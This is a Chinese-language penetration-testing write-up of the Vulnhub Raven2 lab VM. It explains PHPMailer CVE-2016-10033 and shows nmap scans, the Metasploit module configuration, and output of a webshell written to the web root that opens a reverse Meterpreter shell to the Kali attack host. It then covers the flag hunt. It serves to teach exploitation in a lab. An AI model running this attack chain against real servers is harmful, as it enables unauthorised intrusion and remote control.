目录
本文通过Kali攻击机对Vulnhub的Raven2靶机进行渗透测试,发现并利用PHPMailer 5.2.16版本的远程代码执行漏洞(CVE-2016-10033)。通过MSF法渗透成功在目标服务器上生成Webshell并获取反弹Shell。测试过程中发现目标系统存在目录遍历漏洞并获取首个flag。利用Metasploit框架配置PHPMailer漏洞利用模块,最终在/var/www/目录下找到flag2.txt,并在WordPress上传目录中发现flag3.png图片。
一、PHPMailer远程代码执行漏洞
PHPMailer远程代码执行漏洞(以CVE-2016-10033为例)源于其对用户输入的邮箱地址验证与转义处理存在逻辑缺陷。攻击者可构造包含特殊字符的恶意邮箱地址,绕过过滤机制将参数注入到Sendmail命令行中,并利用其-X日志参数将包含PHP代码的邮件内容写入Web可访问目录,从而在服务器上创建恶意Webshell,最终实现远程代码执行,完全控制目标系统。
| 特点类别 | 具体描述 |
|---|---|
| 漏洞类型 | 远程代码执行 (RCE) |
| 触发方式 | 命令注入 + 功能滥用(利用Sendmail日志功能写文件) |
| 利用条件 | 1. 目标使用PHPMailer (< 5.2.18) 2. 存在联系人等邮件发送表单 3. Web目录路径已知且可写 4. 使用 mail()函数(而非SMTP)发送 |
| 攻击载体 | 精心构造的邮箱地址字段(from/email参数) |
| 技术核心 | 验证与转义顺序不当:先验证邮箱格式(RFC允许引号内特殊字符)后转义导致注入参数逃逸。 |
| 利用链 | 恶意邮箱地址 -> 注入Sendmail的-X参数 -> 将邮件内容写入Web目录 -> 生成Webshell |
| 隐蔽性 | 较高。攻击 payload 隐藏在合法的邮箱字段中,不易被常规WAF规则检测。 |
| 影响范围 | 广泛,因PHPMailer被集成于WordPress, Drupal, Joomla!, Yii等众多主流PHP应用和框架中。 |
| 漏洞等级 | 高危 (High/Critical),可导致服务器被完全接管。 |
| 修复方式 | 升级PHPMailer版本(>=5.2.18) |
二、环境搭建
本文使用Kali作为攻击机,kali-linux(IP:192.168.59.128/24)如下所示。

靶机使用vulnhub的Raven2虚拟机环境,下载完成后解压到电脑,然后使用VMware直接打开并选择开机效果如下图所示:
下载地址:(vulnhub)https://downloads.sourceforge.net/project/raven2-ctf/Raven2.ova
使用工具查看存活网段,如下所示由于攻击机kali为192.168.59.128,本机(Windows主机)为192.168.59.1,故而靶机的IP地址为192.168.59.136。
三、漏洞探测
1、探测端口与服务
在Kali的终端使用nmap对靶机进行端口扫描,以最快速度、尽可能隐蔽地扫描目标IP的所有65535个TCP端口,并尝试识别所有开放端口上运行的服务版本、操作系统类型,同时运行默认的脚本扫描进行更深入的探测。
nmap -sS -sV -T5 -A -p- 192.168.59.136
-
-sS(SYN Stealth Scan): 半开放扫描。这是nmap默认的扫描方式。它发送一个SYN包,如果收到SYN/ACK回复,就判断端口开放,然后发送RST包终止连接,而不完成完整的TCP三次握手。这种方式速度快且不易被日志记录。 -
-sV(Version Detection): 版本探测。nmap会尝试与开放的端口建立连接,并探测其上运行的服务和应用程序的具体版本号。这是信息收集中非常关键的一步。 -
-T5(Timing Template): 定时模板。-T参数控制扫描速度(0-5),-T5是最快的“疯狂”模式。它会以最快速度发送数据包,牺牲了一定的隐蔽性和准确性来换取速度。在网络条件好、不担心触发安全设备的情况下使用。 -
-A(Aggressive Scan): 全面扫描。这是一个“全能”选项,相当于同时开启了-sV(版本探测)、-O(操作系统探测)、--script=default(默认NSE脚本扫描) 和--traceroute(路由追踪)。它旨在一次性获取大量目标信息。 -
-p-(Port Specification): 扫描所有端口。-p-告诉nmap扫描从1到65535的所有TCP端口,而不仅仅是默认的1000个常用端口。
如下所示,发现靶机开放了4个端口,包括80、22等端口,突破口有可能在80端口的Web应用上。
2、探测漏洞脚本
使用Nmap的漏洞脚本库对目标进行了初步的漏洞探测,调用Nmap脚本引擎(NSE)中所有分类为“vuln”的脚本,对目标进行扫描检测已知的漏洞。命令如下所示。
nmap --script=vuln 192.168.59.136
发现有目录枚举漏洞(http-enum),具体如下所示。
/wordpress/: 发现了WordPress站点! 这是一个重大突破。WordPress本身、其主题和插件历史上存在大量漏洞,是渗透测试中最常见的突破口。/wordpress/wp-login.php: 确认了WordPress的登录页面。这是暴力破解和尝试弱口令的直接入口。- 目录列表漏洞:
/css/,/img/,/js/,/vendor/等目录都开启了目录浏览(Directory Listing)。这意味着访问这些URL(如http://192.168.59.136/css/)可以直接看到目录下的文件列表,无需索引页(如index.html)。这可能会泄露敏感文件(如备份文件、配置文件、源代码)
3、查找Flag
访问vendor目录遍历漏洞的页面,具体如下所示。
http://192.168.59.136/vendor/
点击PATH链接地址,如下所示。
此时进入到vendor/path页面,获取到第一个flag,如下所示。
http://192.168.59.136/vendor/PATH
4、发现PHPMailer
访问Readme.md发现PHPMailer版本,具体如下所示。
查看vendor目录下的Readme文件,获取到当前Web框架为PHPMailer,且版本号为5.2。
http://192.168.59.136/vendor/README.md
查看vendor目录下的version文件,获取到PHPMailer版本号为5.2.16。
http://192.168.59.136/vendor/VERSION
四、PHPMailer远程代码执行漏洞
1、MSF搜索PHPMailer漏洞
在MSF中搜索phpmailer,查找到2个漏洞,其中序号为0的CVE-2016-12-26即为需要利用的渗透脚本。
msfconsole
search phpmailer

2、phpmailer_arg_injection
选择exploit/multi/http/phpmailer_arg_injection,显示配置选项,如下所示。
use 0
show options
3、配置MSF
使用Metasploit命令配置了针对PHPMailer漏洞(CVE-2016-10033)的自动化攻击流程。它指定目标主机192.168.59.136及其漏洞页面contact.php,并设置Web根目录为/var/www/html以确保恶意Webshell能正确写入。执行后,模块会自动构造特殊请求注入sendmail参数,将包含Payload的邮件内容写入指定路径,最终建立反向Shell连接,从而获得对目标服务器的远程控制权限。
set rhosts 192.168.59.136
set TARGETURI /contact.php
set WEB_ROOT /var/www/html

4、MSF执行run
msf执行run开启攻击,此时执行contact.php会在根目录下生成了木马V6TkeSuG.php,如下所示。

5、访问contact.php生成V6TkeSuG.php
浏览器访问192.168.59.136/contact.php,此时时间会稍长,运行结果如下所示。
192.168.59.136/contact.php
6、访问V6TkeSuG.php反弹shell
浏览器访问V6TkeSuG.php与Kali攻击机的4444端口建立连接,如下所示。
7、Kali监听成功,建立反弹shell连接
如下所示kali监听成功,攻击机反弹shell建立成功。输入python -c 'import pty;pty.spawn("/bin/bash")'后,在获取了一个简陋的Shell之后,将其升级为一个功能完整的交互式Shell。同时输入getuid获取当前用户,如下所示,当前用户为www-data低权限用户。
msf6 exploit(multi/http/phpmailer_arg_injection) > run
[*] Started reverse TCP handler on 192.168.59.128:4444
[*] Writing the backdoor to /var/www/html/V6TkeSuG.php
[*] Sleeping before requesting the payload from: /contact.php/V6TkeSuG.php
[*] Waiting for up to 300 seconds to trigger the payload
[*] Sending stage (39282 bytes) to 192.168.59.136
[+] Deleted /var/www/html/V6TkeSuG.php
[*] Meterpreter session 1 opened (192.168.59.128:4444 -> 192.168.59.136:40552 ) at 2025-09-02 10:17:16 -0400
meterpreter >
meterpreter > getuid
Server username: www-data
meterpreter >
输入shell进入bash页面,尝试输入ls查看当前目录,运行结果如下所示。

8、查找flag文件
输入find / -name flag*查找flag相关的文件,在渗透测试中,find 命令会遍历所有目录,但低权限用户(如 www-data)会遇到大量 Permission denied 错误,这些错误信息会刷屏,干扰你寻找真正的结果。将所有的错误信息(包括 Permission denied)重定向到“空设备”(/dev/null),从而只显示成功找到的结果,命令如下所示。
find / -name flag* 2>/dev/null
发现两个flag相关文件,分别是flag2和flag3相关,具体路径如下所示。
/var/www/flag2.txt
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
9、查看flag2
flag2的文件路径为/var/www/flag2.txt,执行cat /var/www/flag.txt查看,具体如下所示。
10、查找flag3
flag3的文件路径:/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png,通过网站URL访问flag3.png图片,如下所示。
http://192.168.59.136//wordpress/wp-content/uploads/2018/11/flag3.png
2346

被折叠的 条评论
为什么被折叠?



